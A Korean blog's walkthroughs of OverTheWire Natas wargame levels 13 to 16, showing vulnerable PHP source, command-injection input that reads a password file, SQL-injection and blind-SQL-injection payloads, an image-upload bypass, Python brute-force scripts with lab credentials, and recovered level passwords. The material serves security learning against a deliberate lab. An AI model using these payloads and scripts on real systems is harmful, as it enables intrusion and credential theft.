다음은 natas16의 페이지 화면이다.

 

a를 입력해보았더니 이를 포함하는 것들을 모두 출력해주었다.

 

View sourcecode를 통해 소스코드를 확인보았다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

preg_match함수로 ; | & ` \ ' " 를 막아두었다.

 

$(grep ^0 /etc/natas_webpass/natas17) 를 입력하였더니 아래와 같이 출력되었다.

 

$(grep ^8 /etc/natas_webpass/natas17) 를 입력하였더니 아래와 같이 출력되었다. -> 비밀번호의 첫글자 = 8

 

네트워크 정보를 확인해주었다.

 

파이썬 자동화 프로그램을 다음과 같이 구성하여 비밀번호를 얻을 수 있었다.

import socket

pw=""
for idx in range(1,33):
  for ch in range(48,123):
    if 58 <= ch <= 64: continue
    if 91 <= ch <= 96: continue
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "GET /"
    header += "?needle=%24%28grep%20%5E"+pw+chr(ch)+"%20/etc/natas_webpass/natas17%20test%29&submit=Search "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n"
    header += "Host:natas16.natas.labs.overthewire.org\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    if not("African" in response):
        pw += chr(ch)
        print(pw)
        sock.close()
        break;
    sock.close()

비밀번호 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

 

참고 : security04.tistory.com

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 17 > Level 18  (0) 2022.09.18
[Natas] Level 16 > Level 17  (0) 2022.09.11
[Natas] Level 14 > Level 15  (0) 2022.06.25
[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 12 > Level 13  (0) 2022.06.18

다음은 natas15의 페이지 화면이다.

 

텍스트 상자에 아무거나 입력했더니 다음과 같은 문구가 떴다.

 

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
mysql_query()
: 다른 형식의 SQL구문, INSERT, UPDATE, DELETE, DROP 등에서 성공하면 TRUE를, 실패하면 FALSE를 반환하는 함수
mysql_num_rows()
: DB에서 쿼리를 날려서 나온 레코드들(열)의 개수를 반환하는 함수

쿼리에 오류가 없으면(mysql_query함수의 반환값이 TRUE 이면) 'This user exits'이 출력되고 그렇지 않으면 'This user doesn't exis't이 출력된다.

 

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

주석 처리 된 SQL문을 보면 users테이블에 username, password 칼럼이 존재한다.

 

" or 1=1# 을 입력해주니 'This user exits'라는 문구가 떴다.

 

개발자 도구 > Network 에서 Request Headers 내용을 확인할 수 있었다.

 

위 내용들 속 필요한 정보를 포함해 파이썬 자동화 코드를 작성한다.

 

import socket

key=''
for i in range(1,33):
    for k in range(48,123):
        if 58 <= k <= 64: continue
        if 91 <= k <= 96: continue
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect(("176.9.9.172",80))

        header = "GET /index.php?username=natas16\"+"
        header += "and+ascii%28substr%28%28select+password+from+users+"
        header += "limit+3%2C1%29%2C"+str(i)+"%2C1%29%29=\""+str(k)+" "
        header += "HTTP/1.1\r\n"
        header += "Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
        header += "Host:natas15.natas.labs.overthewire.org\r\n"
        header += "\r\n"

        sock.send(header.encode())
        response = sock.recv(1500)
        response = response.decode()

        if "This user exists." in response:
            key +=chr(k)
            print(key)
            break

 

위 코드를 실행해주면 아래와 같은 결과가 나온다.

이를 통해 비밀번호를 찾을 수 있었다.

 

참고 : mint2356.tistory.com

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 16 > Level 17  (0) 2022.09.11
[Natas] Level 15 > Level 16  (0) 2022.06.25
[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 12 > Level 13  (0) 2022.06.18
[Natas] Level 11 > Level 12  (0) 2022.05.27

다음은 natas14의 페이지 화면이다.

 

아무거나 입력해주었더니 다음과 같이 떴다.

 

View sorucecode를 통해 소스코드를 확인해보았다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

if문에서 mysql_query가 존재하면 로그인에 성공하도록 되어있다.

 

그래서 username을 참으로 만들기 위해 "or 1=1# 을 입력해주었으며 뒤는 주석처리되도록 하였다.

 

이를 입력했더니 아래와 같이 비밀번호를 획득할 수 있었다.

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 15 > Level 16  (0) 2022.06.25
[Natas] Level 14 > Level 15  (0) 2022.06.25
[Natas] Level 12 > Level 13  (0) 2022.06.18
[Natas] Level 11 > Level 12  (0) 2022.05.27
[Natas] Level 10 > Level 11  (0) 2022.05.27

다음은 natas13의 페이지 화면이다.

 

아무 파일을 업로드해본 결과 다음과 같이 떴다.


View sourcecode를 통해 소스코드를 확인해주었다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

exif_imagetype함수를 통해 이미지파일만 업로드 가능하도록 하였다.

 

이전 단계와 동일하게 php파일을 작성해주어 비밀번호를 찾을 수 있도록 하였다.

 

그리고 이를 업로드해주었더니 아직은 jpg파일이 아니기 때문에 아래와 같이 jpg가 아니라고 뜬다.

 

그래서 이를 burp suite를 통해 jpg를 php로 변경해주었다.

그리고 파일 시그니처인 GIF89a를 추가해주었다.

 

그랬더니 아래와 같은 화면이 나타났다.

 

파일을 눌러주었더니 아래와 같이 비밀번호를 획득할 수 있었다.

GIF89aLg96M10TdfaPyVBkJdjymbllQ5L6qdl1

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 14 > Level 15  (0) 2022.06.25
[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 11 > Level 12  (0) 2022.05.27
[Natas] Level 10 > Level 11  (0) 2022.05.27
[Natas] Level 9 > Level 10  (0) 2022.05.21

+ Recent posts